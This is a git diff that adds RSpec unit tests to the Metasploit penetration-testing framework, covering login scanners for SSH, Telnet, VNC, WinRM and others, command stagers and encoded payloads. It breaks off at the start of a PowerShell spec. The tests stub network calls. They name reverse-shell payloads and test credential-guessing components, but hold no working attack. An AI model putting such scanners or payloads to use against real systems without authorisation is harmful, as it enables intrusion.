ssh_scanner.host = '127.0.0.1' + ssh_scanner.port = 22 + ssh_scanner.connection_timeout = 30 + ssh_scanner.verbosity = :fatal + ssh_scanner.stop_on_success = true + ssh_scanner.cred_details = detail_group + end + + it 'creates a Timeout based on the connection_timeout' do + ::Timeout.should_receive(:timeout).with(ssh_scanner.connection_timeout) + ssh_scanner.attempt_login(pub_pri) + end + + context 'with a password' do + it 'calls Net::SSH with the correct arguments' do + opt_hash = { + :auth_methods => ['password','keyboard-interactive'], + :port => ssh_scanner.port, + :disable_agent => true, + :password => private, + :config => false, + :verbose => ssh_scanner.verbosity, + :proxies => nil + } + Net::SSH.should_receive(:start).with( + ssh_scanner.host, + public, + opt_hash + ) + ssh_scanner.attempt_login(pub_pri) + end + end + + context 'with a key' do + it 'calls Net::SSH with the correct arguments' do + opt_hash = { + :auth_methods => ['publickey'], + :port => ssh_scanner.port, + :disable_agent => true, + :key_data => key, + :config => false, + :verbose => ssh_scanner.verbosity, + :proxies => nil + } + Net::SSH.should_receive(:start).with( + ssh_scanner.host, + public, + hash_including(opt_hash) + ) + ssh_scanner.attempt_login(pub_key) + end + end + + context 'when it fails' do + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do + Net::SSH.should_receive(:start) { raise Rex::ConnectionError } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do + Net::SSH.should_receive(:start) { raise Rex::AddressInUse } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a Net::SSH::Disconnect' do + Net::SSH.should_receive(:start) { raise Net::SSH::Disconnect } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::EOFError' do + Net::SSH.should_receive(:start) { raise ::EOFError } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::Timeout::Error' do + Net::SSH.should_receive(:start) { raise ::Timeout::Error } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns [:fail,nil] for a Net::SSH::Exception' do + Net::SSH.should_receive(:start) { raise Net::SSH::Exception } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + it 'returns [:fail,nil] if no socket returned' do + Net::SSH.should_receive(:start).and_return nil + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when it succeeds' do + + it 'gathers proof of the connections' do + Net::SSH.should_receive(:start) {"fake_socket"} + my_scanner = ssh_scanner + my_scanner.should_receive(:gather_proof) + my_scanner.attempt_login(pub_pri) + end + + it 'returns a success code and proof' do + Net::SSH.should_receive(:start) {"fake_socket"} + my_scanner = ssh_scanner + my_scanner.should_receive(:gather_proof).and_return(public) + expect(my_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + + +end diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb new file mode 100644 index 0000000000..efbae0ff92 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -0,0 +1,79 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/telnet' + +describe Metasploit::Framework::LoginScanner::Telnet do + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :banner_timeout } + it { should respond_to :telnet_timeout } + + context 'validations' do + context 'banner_timeout' do + it 'is not valid for a non-number' do + login_scanner.banner_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.banner_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.banner_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.banner_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:banner_timeout]).to be_empty + end + end + + context 'telnet_timeout' do + it 'is not valid for a non-number' do + login_scanner.telnet_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.telnet_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.telnet_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.telnet_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:telnet_timeout]).to be_empty + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb new file mode 100644 index 0000000000..ef050c0ba0 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb @@ -0,0 +1,11 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/tomcat' + +describe Metasploit::Framework::LoginScanner::Tomcat do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb new file mode 100644 index 0000000000..07851d7266 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb @@ -0,0 +1,47 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/vmauthd' + +describe Metasploit::Framework::LoginScanner::VMAUTHD do + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb new file mode 100644 index 0000000000..a0c268468d --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -0,0 +1,85 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/vnc' + +describe Metasploit::Framework::LoginScanner::VNC do + let(:private) { 'password' } + let(:blank) { '' } + let(:test_cred) { + Metasploit::Framework::Credential.new( paired: false, private: private ) + } + let(:blank_cred) { + Metasploit::Framework::Credential.new( paired: false, private: blank ) + } + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + + context '#attempt_login' do + it 'creates a new RFB client' do + Rex::Proto::RFB::Client.should_receive(:new).and_call_original + login_scanner.attempt_login(test_cred) + end + + it 'returns a connection_error result when the handshake fails' do + Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return false + result = login_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a failed result when authentication fails' do + Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return true + Rex::Proto::RFB::Client.any_instance.should_receive(:authenticate).with(private).and_return false + result = login_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + context 'when the socket errors' do + it 'returns a connection_error result for an EOFError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::EOFError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::EOFError.new.to_s + end + + it 'returns a connection_error result for an Rex::AddressInUse' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::AddressInUse + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::AddressInUse.new.to_s + end + + it 'returns a connection_error result for an Rex::ConnectionError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionError.new.to_s + end + + it 'returns a connection_error result for an Rex::ConnectionTimeout' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionTimeout.new.to_s + end + + it 'returns a connection_error result for an ::Timeout::Error' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Timeout::Error + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Timeout::Error.new.to_s + end + end + + + + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb new file mode 100644 index 0000000000..a4fc368a70 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb @@ -0,0 +1,21 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/winrm' + +describe Metasploit::Framework::LoginScanner::WinRM do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#method=" do + subject(:winrm_scanner) { described_class.new } + + it "should raise, warning that the :method can't be changed" do + expect { winrm_scanner.method = "GET" }.to raise_error(RuntimeError) + expect(winrm_scanner.method).to eq("POST") + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb new file mode 100644 index 0000000000..474d52a9bf --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -0,0 +1,11 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/wordpress_rpc' + +describe Metasploit::Framework::LoginScanner::WordpressRPC do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + +end diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb new file mode 100644 index 0000000000..7b22109bf8 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner' +require 'metasploit/framework/login_scanner/http' +require 'metasploit/framework/login_scanner/smb' +require 'metasploit/framework/login_scanner/vnc' + +describe Metasploit::Framework::LoginScanner do + + subject { described_class.classes_for_service(service) } + let(:port) { nil } + let(:name) { nil } + + let(:service) do + s = double('service') + allow(s).to receive(:port) { port } + allow(s).to receive(:name) { name } + s + end + + context "with name 'smb'" do + let(:name) { 'smb' } + + it { should include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::HTTP } + end + + [ 139, 445 ].each do |foo| + context "with port #{foo}" do + let(:port) { foo } + + it { should include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::HTTP } + it { should_not include Metasploit::Framework::LoginScanner::VNC } + end + end + + context "with name 'http'" do + let(:name) { 'http' } + + it { should include Metasploit::Framework::LoginScanner::HTTP } + it { should_not include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::VNC } + end + + [ 80, 8080, 8000, 443 ].each do |foo| + context "with port #{foo}" do + let(:port) { foo } + + it { should include Metasploit::Framework::LoginScanner::HTTP } + it { should include Metasploit::Framework::LoginScanner::Axis2 } + it { should include Metasploit::Framework::LoginScanner::Tomcat } + it { should_not include Metasploit::Framework::LoginScanner::SMB } + end + end + +end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index 7600fd7dad..d2ca4b86f4 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -8,4 +8,4 @@ describe Msf::Simple::Framework do end it_should_behave_like 'Msf::Simple::Framework::ModulePaths' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/author_spec.rb b/spec/lib/msf/core/author_spec.rb new file mode 100644 index 0000000000..edb794971f --- /dev/null +++ b/spec/lib/msf/core/author_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::Author do + it 'is an alias for Msf::Module::Author' do + expect(described_class.name).to eq('Msf::Module::Author') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb new file mode 100644 index 0000000000..ec4f9ce417 --- /dev/null +++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'msf/core/auxiliary/drdos' + +describe Msf::Auxiliary::DRDoS do + subject do + mod = Module.new + mod.extend described_class + mod + end + + describe '#prove_amplification' do + it 'should detect drdos when there is packet amplification only' do + map = { 'foo' => [ 'a', 'b' ] } + result, _ = subject.prove_amplification(map) + result.should be true + end + + it 'should detect drdos when there is bandwidth amplification only' do + map = { 'foo' => [ 'foofoo' ] } + result, _ = subject.prove_amplification(map) + result.should be true + end + + it 'should detect drdos when there is packet and bandwidth amplification' do + map = { 'foo' => [ 'foofoo', 'a' ] } + result, _ = subject.prove_amplification(map) + result.should be true + end + + it 'should not detect drdos when there is no packet and no bandwidth amplification' do + map = { 'foo' => [ 'foo' ] } + result, _ = subject.prove_amplification(map) + result.should be false + end + end +end diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb new file mode 100644 index 0000000000..b5706799ff --- /dev/null +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -0,0 +1,55 @@ +require 'spec_helper' +require 'msf/core/encoded_payload' + +describe Msf::EncodedPayload do + PAYLOAD_FRAMEWORK = Msf::Simple::Framework.create( + :module_types => [::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP], + 'DisableDatabase' => true, + 'DisableLogging' => true + ) + + let(:framework) { PAYLOAD_FRAMEWORK } + let(:payload) { 'linux/x86/shell_reverse_tcp' } + let(:pinst) { framework.payloads.create(payload) } + + subject(:encoded_payload) do + described_class.new(framework, pinst, {}) + end + + it 'is an Msf::EncodedPayload' do + expect(encoded_payload).to be_a(described_class) + end + + describe '.create' do + + context 'when passed a valid payload instance' do + + # don't ever actually generate payload bytes + before { described_class.any_instance.stub(:generate) } + + it 'returns an Msf::EncodedPayload instance' do + expect(described_class.create(pinst)).to be_a(described_class) + end + + end + + end + + describe '#arch' do + context 'when payload is linux/x86 reverse tcp' do + let(:payload) { 'linux/x86/shell_reverse_tcp' } + + it 'returns ["X86"]' do + expect(encoded_payload.arch).to eq [ARCH_X86] + end + end + + context 'when payload is linux/x64 reverse tcp' do + let(:payload) { 'linux/x64/shell_reverse_tcp' } + + it 'returns ["X86_64"]' do + expect(encoded_payload.arch).to eq [ARCH_X86_64] + end + end + end +end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 6a9f0677e0..54ed8ed238 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -37,16 +37,16 @@ describe Msf::Exploit::Capture do subject.should respond_to :open_pcap end - it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do + it 'should confirm that pcaprub is available', :skip => "Need to test this without stubbing check_pcaprub_loaded" do end - it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do + it 'should open a pcap file', :skip => "Provde a sample pcap file to read" do end - it 'should capture from an iface', :pending => "Mock this? Tends to need root" do + it 'should capture from an iface', :skip => "Mock this? Tends to need root" do end - it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do + it 'should inject packets to an ifrace', :skip => "Mock this? Tends to need root" do end end diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb new file mode 100644 index 0000000000..ac64c3dce7 --- /dev/null +++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb @@ -0,0 +1,698 @@ +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/cmdstager' + +describe Msf::Exploit::CmdStager do + + def create_exploit(info ={}) + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, info) + mod + end + + describe "#select_cmdstager" do + + subject do + create_exploit + end + + context "when no flavor" do + + it "raises ArgumentError" do + expect { subject.select_cmdstager }.to raise_error(ArgumentError, /Unable to select CMD Stager/) + end + end + + context "when correct flavor" do + + context "with default decoder" do + + let(:flavor) do + :vbs + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "selects default decoder" do + expect(subject.decoder).to eq(subject.default_decoder(flavor)) + end + end + + context "without default decoder" do + + let(:flavor) do + :tftp + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "hasn't decoder" do + expect(subject.decoder).to be_nil + end + end + + context "with incompatible target" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Linux', + { + 'Platform' => 'linux', + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:flavor) do + :vbs + end + + it "raises ArgumentError" do + expect { subject.select_cmdstager(:flavor => flavor) }.to raise_error(ArgumentError, /The CMD Stager '\w+' isn't compatible with the target/) + end + end + end + end + + describe "#default_decoder" do + + subject do + create_exploit + end + + context "when valid flavor as input" do + + context "with default decoder" do + let(:flavor) do + :vbs + end + + let(:expected_decoder) do + described_class::DECODERS[:vbs] + end + + it "returns the decoder path" do + expect(subject.default_decoder(flavor)).to eq(expected_decoder) + end + end + + context "without default decoder" do + let(:flavor) do + :bourne + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + context "when invalid flavor as input" do + let(:flavor) do + :invalid_flavor + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + + context "when nil flavor as input" do + let(:flavor) do + nil + end + + it "should be nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + describe "#module_flavors" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns empty array" do + expect(subject.module_flavors).to eq([]) + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the target flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the module flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs', 'tftp'] + end + + it "returns an array with all the flavors available to the module" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + end + + describe "#target_flavor" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns nil" do + expect(subject.target_flavor).to be_nil + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the module flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'tftp' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + end + + describe "#compatible_flavor?" do + + context "when there isn't target flavor" do + + subject do + create_exploit + end + + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "when the target flavor is a string" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_falsey + end + end + end + + context "when the target flavor is a symbol" do + + subject do + create_exploit('CmdStagerFlavor' => :vbs) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_falsey + end + end + end + + context "when the target flavor is an Array" do + + subject do + create_exploit('CmdStagerFlavor' => ['vbs', :tftp]) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "and bad flavor" do + let(:flavor) do + :echo + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_falsey + end + end + + end + end + + describe "#guess_flavor" do + + context "when the module hasn't targets" do + + context "neither platforms" do + subject do + create_exploit + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "but platforms" do + + context "one platform with default flavor" do + let(:platform) do + 'win' + end + + let(:expected_flavor) do + :vbs + end + + subject do + create_exploit('Platform' => platform) + end + + it "guess the platform defulat flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + end + + context "one platform without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "two platforms" do + let(:platform) do + ['unix', 'linux'] + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + context "when the module has one target" do + + context "and the target has one platform" do + + context "with default flavor"do + let (:expected_flavor) do + :vbs + end + + let (:platform) do + 'win' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "guess the target flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + + end + + context "without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Java', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + + context "the target has two platforms" do + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['MultiPlatform', + { + 'Platform' => %w{ linux unix} + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + describe "#select_flavor" do + + context "when flavor set in the datastore" do + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::FLAVOR' => 'vbs' + } + }) + end + + let(:datastore_flavor) do + :vbs + end + + it "returns the datastore flavor" do + expect(subject.select_flavor).to eq(datastore_flavor) + end + + context "and flavor set in the opts" do + + let(:opts_flavor) do + :bourne + end + + it "returns the opts flavor" do + expect(subject.select_flavor(:flavor => :bourne)).to eq(opts_flavor) + end + end + end + end + + describe "#select_decoder" do + + context "when decoder set in the datastore" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::DECODER' => decoder + } + }) + end + + it "returns datastore flavor" do + expect(subject.select_decoder).to eq(decoder) + end + + context "and decoder set in the opts" do + + let(:decoder_opts) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + end + + it "returns the decoder_opts" do + expect(subject.select_decoder(:decoder => decoder_opts)).to eq(decoder_opts) + end + end + end + end + + describe "#opts_with_decoder" do + subject do + create_exploit + end + + context "with :decoder option" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + it "returns the :decoder option" do + expect(subject.opts_with_decoder(:decoder => decoder)).to include(:decoder) + end + end + + context "without decoder option" do + it ":hasn't decoder option" do + expect(subject.opts_with_decoder).not_to include(:decoder) + end + end + + end + + describe "#create_stager" do + subject do + create_exploit + end + + context "with correct flavor" do + + let(:flavor) do + :vbs + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "creates the correct instance" do + expect(subject.create_stager.class).to eq(expected_class) + end + end + + context "with incorrect flavor" do + let(:flavor) do + :incorrect_flavor + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "raises a NoMethodError" do + expect { subject.create_stager }.to raise_error(NoMethodError) + end + end + end +end diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 84469dea41..929d8e6f62 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'msf/core/exploit/http/server' describe Msf::Exploit::Remote::HttpServer do + subject(:server_module) do mod = Msf::Exploit.allocate mod.extend described_class @@ -26,6 +27,9 @@ describe Msf::Exploit::Remote::HttpServer do Rex::ServiceManager.stub(:start => mock_service) end + # Ensure the class is hooks Metasploit::Concern + it_should_behave_like 'Metasploit::Concern.run' + describe "#add_resource" do it "should call the ServiceManager's add_resource" do server_module.start_service diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb new file mode 100644 index 0000000000..f3e9ddf99e --- /dev/null +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -0,0 +1,488 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/powershell' + +def 